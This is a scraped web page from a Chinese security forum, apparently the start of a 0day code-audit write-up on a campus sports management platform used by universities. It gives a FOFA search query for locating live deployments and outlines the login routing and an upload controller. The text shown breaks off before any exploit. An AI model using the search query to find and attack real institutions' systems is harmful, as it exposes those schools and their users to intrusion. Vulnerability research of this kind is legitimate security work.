!important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body h1,.markdown-body h2{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h1{padding-bottom:0em;font-size:28px;line-height:1.2}.markdown-body h2{padding-bottom:0em;font-size:24px;line-height:1.225}.markdown-body p,.markdown-body pre{margin-top:0;margin-bottom:24px}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body code{padding:0;padding-top:.2em;padding-bottom:.2em;margin:0;font-size:85%;background-color:rgba(0,0,0,0.04);border-radius:3px}.markdown-body code:before,.markdown-body code:after{letter-spacing:-0.2em;content:" "}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{padding:16px;overflow:auto;font-size:85%;background-color:#f7f7f7;border-radius:3px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body pre{word-wrap:normal}/*! Pretty printing styles. Used with prettify.js. */@media screen{}.markdown-body .highlight pre{line-height:1.6}@media screen{}</style>
|
||||
<style>.highlight .x{color:#000}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13866&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>某通用系统0day审计过程(步道乐跑校园智慧体育管理平台)</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/65215>
|
||||
<span class="username cell"> Zjacky</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-02-26 19:14:28</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于广东 / </span>
|
||||
|
||||
<span>浏览数 600</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h1 id=toc-0>前言</h1>
|
||||
<p>本次审计的目标是一套也是各大高校使用的通用系统,发出来给大家学习下审计的过程<br>fofa: (body="Wet2C8d34f62ndi3" && body="K6iv85jBD8jgf32D") || (body="/setting.php/index/captcha.html") || (body="/setting.php/index/guide")</p>
|
||||
<h1 id=toc-1>路由分析</h1>
|
||||
<p>直接看登录接口</p>
|
||||
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191106-bc8eb80e-d497-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<p>路由为 /setting.php/index/login</p>
|
||||
<p>找对应源码</p>
|
||||
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191114-c1aac544-d497-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<p>第一个接口setting对应Application下的文件</p>
|
||||
<p>第二个接口Index对应Setting下的Controller文件名字</p>
|
||||
<p>第三个接口为Controller的方法名字</p>
|
||||
<h1 id=toc-2>代码审计</h1>
|
||||
<h2 id=toc-3>上传</h2>
|
||||
<p>Application\Admin\Controller\UploadController.class.php</p>
|
||||
<p>在这个路径下继承了一个upload控制器父类</p>
|
||||
